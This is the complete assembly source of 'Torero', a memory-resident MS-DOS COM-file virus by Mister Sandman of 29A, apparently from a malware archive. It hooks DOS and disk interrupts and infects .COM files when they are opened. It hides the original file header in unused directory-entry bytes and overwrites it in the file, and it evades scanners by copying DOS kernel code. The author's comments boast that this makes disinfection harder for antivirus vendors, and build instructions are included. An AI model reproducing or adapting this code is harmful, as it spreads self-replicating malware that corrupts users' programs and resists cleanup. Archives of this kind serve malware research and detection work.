MalwareSourceCode/MSDOS/T-Index/Virus.MSDOS.Unknown.torero.asm
vxunderground 4b9382ddbc re-organize
push
2022-08-21 04:07:57 -05:00

571 lines
23 KiB
NASM

;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Torero ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Mister Sandman/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Hoho... here you have a new coolio viral technique, especially dedicated
; to those who think that everything on viruses was invented yet :) This
; virus ain't a 'powerful' one; in fact, and as i decided to do in this
; first issue as i hadn't many time, it's a simple infector just written
; to show this new viral capability, never used before as far as i know.
;
; And what is this technique about?, you might ask. Ok... apart from DirII
; and all its family, we don't know many viruses that store the original
; header of infected files in other place than the viral code, right?
;
; AVV and i were making some researches and suddenly found ten free unused
; bytes on the directory entry of each file... and this the place where my
; virus stores the header of every file it infects :) In this way, the AV
; companies must write some specific routines for disinfecting Torero...
; this means that the cleaning of our virus is more difficult, which is
; what we're looking for :)
;
; Anyway, as every viral technique, it has some pros and some cons... and
; the cons consist on the next simple thingy: if someone copies, compress-
; es, or manipulates an infected file, it will have a different directory
; entry, and then it will be imposible to restore its original header.
;
; However, and as this is just a sample virus, i didn't pay much attention
; to this kinda probabilities, and i just used an idea Wintermute gave me:
; if the host doesn't find its original header, it will display a message
; i'm sure you all know: 'This program requires Microsoft Windows.' :)
;
; As a last (but not least) feature in this virus, don't forget to have a
; look at the infection mark, based on using the eigth attribute bit, al-
; ways empty and unused until now. This is a specially good infection mark
; for a virus, as it's very simple and doesn't get flagged because of in-
; correct time stamp and all that shit. Besides, it makes things easier
; for us when implementing stealth techniques, etc.
;
; About the name, i decided to call it 'Torero' because it's a spanish
; word which means 'bullfighter', often used for telling someone that he
; or what he did is cool, because toreros are supposed to have the biggest
; nuts around :)
;
; Compiling instructions
;
; tasm /m torero.asm
; tlink torero.obj
; exe2bin torero.exe torero.com
.286
torero segment byte public
assume cs:torero,ds:torero
org 0
torero_start label byte
torero_size equ torero_end-torero_start
torero_entry: call delta_offset ; Get ë-offset in BP
delta_offset: pop bp ; for l8r use
sub bp,offset delta_offset
mov ah,30h ; Get DOS version
int 21h
cmp bx,';)' ; Are we already
jne set_int_21h ; memory resident?
push cs ; Save CS for the host
mov bx,ds ; Don't lose DS
xor ax,ax ; Jump to the memory
mov ds,ax ; copy and restore
push word ptr ds:[21h*4+2] ; the host header
push offset check_host
mov ds,bx
retf
set_int_21h: mov ax,es
dec ax
mov ds,ax ; Program's MCB segment
xor di,di
cmp byte ptr ds:[di],'Y' ; Is it a Z block?
jna set_int_21h
sub word ptr ds:[di+3],((torero_size/10h)+2)
sub word ptr ds:[di+12h],((torero_size/10h)+2)
add ax,word ptr ds:[di+3]
inc ax
mov ds,ax
mov byte ptr ds:[di],'Z' ; Mark block as Z
mov word ptr ds:[di+1],8 ; System memory
mov word ptr ds:[di+3],((torero_size/10h)+1)
mov word ptr ds:[di+8],4f44h ; Mark block as owned
mov word ptr ds:[di+0ah],0053h ; by DOS (444f53h,0)
inc ax
cld
push cs
pop ds
mov es,ax
mov cx,torero_size ; Copy virus to memory
mov si,bp
rep movsb
push es
push offset copy_vector ; Jump to the virus
retf ; copy in memory
copy_vector: push ds
mov ds,cx
mov es,ax ; Save int 21h's
mov si,21h*4 ; original vector
lea di,old_int_21h
movsw
movsw
mov word ptr [si-4],offset new_int_21h
mov word ptr [si-2],ax ; Set ours
mov si,13h*4 ; Save int 13h's
lea di,old_int_13h ; original vector
movsw
movsw
mov word ptr [si-4],offset new_int_13h
mov word ptr [si-2],ax ; Set ours
mov ds,ax
check_host: call open_host ; Open the host
call get_sft ; Get its SFT for our
call check_mark ; infection mark
jb messed_up ; File is messed up :-(
call read_entry ; Read the entry
call point_entry ; Point to the header
cmp word ptr ds:[si],0 ; Is it empty?
jne restore_header
cmp word ptr ds:[si+2],0 ; Empty too? huh :-(
je messed_up ; File is messed up
restore_header: pop es ; ES=host segment
push es ; Store it in the stack
mov di,100h ; file header from the
push di ; Store the IP
movsw ; DS:SI points to the
movsb ; original header, in
; the directory entry
push es
pop ds ; DS=ES
retf ; Jump to the host
messed_up: mov ah,3eh ; File is messed up...
int 21h ; close it and show
call emergency ; the Windows message :)
; ÄÄ´ Torero's int 13h handler ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
new_int_13h: cmp ah,3
je sector_write ; Sector write?
db 0eah ; Jump back to the
old_int_13h dw ?,? ; original int 13h
sector_write: push ax bx cx
pushf
xor ah,ah ; Calculate how many
mov cl,4 ; files we must test
shl ax,cl ; by multiplying the
mov cx,ax ; sector number with
or cx,cx ; 10h (entries)
je bucle_end
int_13h_bucle: cmp byte ptr es:[bx+9],'O' ; -O-?
jne more_files
mov al,byte ptr es:[bx+9]
sub al,2
cmp al,byte ptr es:[bx+0ah] ; -OM?
jne more_files
cmp al,'M' ; Then it's a COM
je subtract
more_files: add bx,20h ; Look for more files
loop int_13h_bucle ; Look'n'loop :)
bucle_end: popf
pop cx bx ax ; End of the bucle
; Call the original
call int_13h ; int 13h and jump
xor_and_jump: xor ax,ax ; to the original int
return_to_int: push bp ax
pushf
pop ax ; Return to the
mov bp,sp ; original int 13h
mov word ptr ss:[bp+8],ax
pop ax bp
retf 2
subtract: cmp byte ptr es:[bx],0e5h ; A deleted file...
je more_files ; bah, skip it
cmp byte ptr es:[bx+0bh],80h ; Infected?
jb more_files
cmp word ptr es:[bx+0ch],0 ; Is the header field
jne more_files ; empty?
cmp word ptr es:[bx+0eh],0
jne more_files
mov ax,word ptr cs:[header_store] ; Ok, let's copy
mov word ptr es:[bx+0ch],ax ; the original file
; header to the
mov ax,word ptr cs:[header_store+2] ; directory entry
mov word ptr es:[bx+0eh],ax
jmp more_files
; ÄÄ´ Torero's signature ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
signature db 0dh,0ah,'[Torero €:-) by Mister Sandman/29A]',0dh,0ah
; ÄÄ´ Torero's int 21h handler ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
new_int_21h: cli
cmp ah,6ch ; This code is stolen
ja real_checks ; from the original
; DOS kernel handler,
cmp ah,33h ; so they won't catch
jb real_checks ; us if they don't go
jz fake_stuff ; further thru the
; rest of the code of
cmp ah,64h ; the handler... thanx
ja fake_stuff ; to Qark for this
jz real_checks ; cool idea :)
cmp ah,51h
jz real_checks
cmp ah,62h
jz fake_stuff
cmp ah,50h
jz real_checks
fake_stuff: push ax bx cx ; Shit, shit, shit,
nop ; shit... skip it
pop cx bx ax
real_checks: cmp ah,30h
jne opening ; (get DOS version)?
mov bx,';)' ; Return the smiley :)
iret
opening: cmp ah,3dh ; File opening?
je file_open
cmp ax,4301h ; Attribute change?
je new_attribute
cmp ax,6c00h ; Extended open?
je file_open
jmp_int_21h db 0eah ; Jump to the original
old_int_21h dw ?,? ; int 21h address
; ÄÄ´ File open ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
file_open: call infect_file ; Infection routine
jmp dword ptr cs:[old_int_21h] ; Jump back to int 21h
; ÄÄ´ New attribute ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
new_attribute: mov ah,30h ; Change 43h for 30h
iret ; so it will do nothing
; ÄÄ´ Infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
infect_file: pushf
push ax bx cx dx ; Push registers, flags
push si di ds es ; and all that shit
call set_int_24h ; Set int 24h
cmp ah,6ch ; Extended open?
jne normal_open
mov dx,si ; Fix it to DS:DX
normal_open: mov ax,3d00h ; Open the file
call int_21h
xchg bx,ax ; File handle in BX
push cs ; CS=DS
pop ds
call get_sft ; Get file's SFT
call check_mark ; Already infected?
jae close_and_pop
mov byte ptr es:[di+2],2 ; Open mode=r/w
mov ax,word ptr es:[di+28h] ; Check the extension
cmp ax,'OC' ; of our victim
jne close_and_pop
mov byte ptr cs:[infecting],1
mov ah,3fh ; Read the first three
mov cx,3 ; bytes to our temporal
lea dx,header_store ; header store
call int_21h
mov ax,word ptr es:[di+11h] ; File lenght in AX
cmp ax,0ea60h ; Too big file?
ja close_and_pop
push ax ; Lseek to the end of
call lseek_end ; the file
mov ah,40h ; Append our k-r4d
mov cx,torero_size ; code :)
lea dx,torero_start
call int_21h
pop ax ; Make the jmp to
sub ax,3 ; our virus body
mov word ptr cs:[com_header+1],ax ; for the new file
call set_marker
call lseek_start ; Lseek to the start
mov ah,40h ; Write the new header
mov cx,3 ; in so we'll be always
lea dx,com_header ; executed first ;P
call int_21h
mov ax,word ptr es:[di+11h] ; Actual size in AX
sub ax,3 ; Lseek to the position
call lseek_end ; of the original header
mov ah,40h ; Destroy all the info,
mov cx,3 ; already stored in the
lea dx,garbage ; directory entry };)
call int_21h
close_and_pop: mov ah,3eh ; Close the file
call int_21h
call reset_int_24h ; Reset int 24h
pop es ds di si ; And pop out all the
pop dx cx bx ax ; shit we pushed b4
popf
ret
; ÄÄ´ Call to the original int 13h ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
int_13h: pushf
call dword ptr cs:[old_int_13h] ; Call the original
ret ; int 13h
; ÄÄ´ Call to the original int 21h ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
int_21h: pushf
call dword ptr cs:[old_int_21h] ; Call the original
ret ; int 21h
; ÄÄ´ Get SFT in ES:DI ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
get_sft: push ax bx
mov ax,1220h ; Get job file table
int 2fh ; in ES:DI (DOS 3+)
jc bad_sft
xor bx,bx ; Get the address of
mov ax,1216h ; the specific SFT for
mov bl,byte ptr es:[di] ; our handle
int 2fh
bad_sft: pop bx ax ; Pop registers and
ret ; return to the code
; ÄÄ´ Check our infection mark ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
check_mark: cmp byte ptr es:[di+4],80h ; Compare with the min.
ret ; value of our mark
; ÄÄ´ Read the directory entry ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
read_entry: push ax bx cx
call parameters ; Load the sector
int 25h
pop cx cx bx ax
ret
; ÄÄ´ Sector loading ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
parameters: mov ax,word ptr es:[di+1bh] ; Load the sector
mov word ptr cs:[control_block],ax ; number in our
mov ax,word ptr es:[di+1dh] ; control block
mov word ptr cs:[control_block+2],ax ; Read a long
mov cx,0ffffh ; sector, 4 bytes
push cs ; CS=DS
pop ds
mov word ptr cs:[control_block+4],1 ; One sector
mov word ptr cs:[control_block+6],offset sector
mov word ptr cs:[control_block+8],cs
lea bx,control_block ; Control block
push ds si
lds si,dword ptr es:[di+7] ; Point to the
lodsb ; DPB
pop si ds
ret
; ÄÄ´ Point to the original header ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
point_entry: mov al,byte ptr es:[di+1fh] ; Guess the entry
xor ah,ah
push cx
mov cl,5 ; Multiply it*20h
shl ax,cl
pop cx
lea si,sector ; Calculate its offset
add si,ax ; into the sector and
add si,0ch ; move to si+0ch (header)
ret
; ÄÄ´ Set int 24h ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
set_int_24h: push ax si di
push ds es
xor ax,ax ; Point to the IVT
mov ds,ax
push cs ; CS=ES
pop es
mov si,24h*4 ; Save the original int
mov di,offset old_int_24h ; 24h address and set
cld ; ours l8r
movsw
movsw
mov word ptr [si-4],offset new_int_24h
mov word ptr [si-2],cs
pop es ds
pop di si ax
ret
; ÄÄ´ Restore int 24h ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
reset_int_24h: push ax si di
push ds es
xor ax,ax ; Point to the IVT
mov es,ax
push cs ; CS=DS
pop ds
mov si,offset old_int_24h ; Restore the original
mov di,24h*4 ; int 24h address
cld
movsw
movsw
pop es ds
pop di si ax
ret
; ÄÄ´ Torero's int 24h handler ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
new_int_24h: mov al,3 ; Pass the error code
iret
old_int_24h: dw ?,? ; Original int 24h
; ÄÄ´ Set our infection mark ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
set_marker: mov byte ptr es:[di+4],80h ; Attribute bit 8
ret
; ÄÄ´ Lseek to the start of the file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
lseek_start: mov word ptr es:[di+15h],0 ; Read pointer=0
ret
; ÄÄ´ Lseek to the end of the file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
lseek_end: mov word ptr es:[di+15h],ax ; Read pointer=file
ret ; length (EOF)
; ÄÄ´ Open the host we're being executed from ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
open_host: mov ah,62h ; Get PSP address
int 21h
push es
mov ds,bx
mov bx,word ptr ds:[2ch] ; DS:2ch=PSP segment
mov es,bx
xor di,di
mov al,1 ; Look for 01h (the
mov cx,0ffffh ; mark which sepparates
repnz scasb ; the path from the
jnz emergency ; name of the file that
; is being executed)
xor al,al
scasb
push es
pop ds es
mov ah,3dh ; Open the host
mov dx,di
call int_21h
xchg bx,ax ; Pass handle to BX
ret ; and return
; ÄÄ´ Emergency routine... data lost! ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
emergency: push cs ; CS=DS
pop ds
mov ah,9 ; Show the message...
lea dx,windows ; This programs requires
int 21h ; Microsoft Windows
mov ax,4c01h ; Errorlevel=01 :)
int 21h
; ÄÄ´ Data area ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sector db 200h dup (?) ; The long sector
control_block dd ? ; Control block
dw ?
garbage dd ?
db ';)'
windows db 'This program requires Microsoft Windows.'
db 0dh,0ah,'$'
action db ? ; Reading or writing?
infecting db ?
com_header db 0e9h,?,? ; The COM header
header_store db 3 dup (?) ; Temporal header store
torero_end label byte
torero ends
end torero_start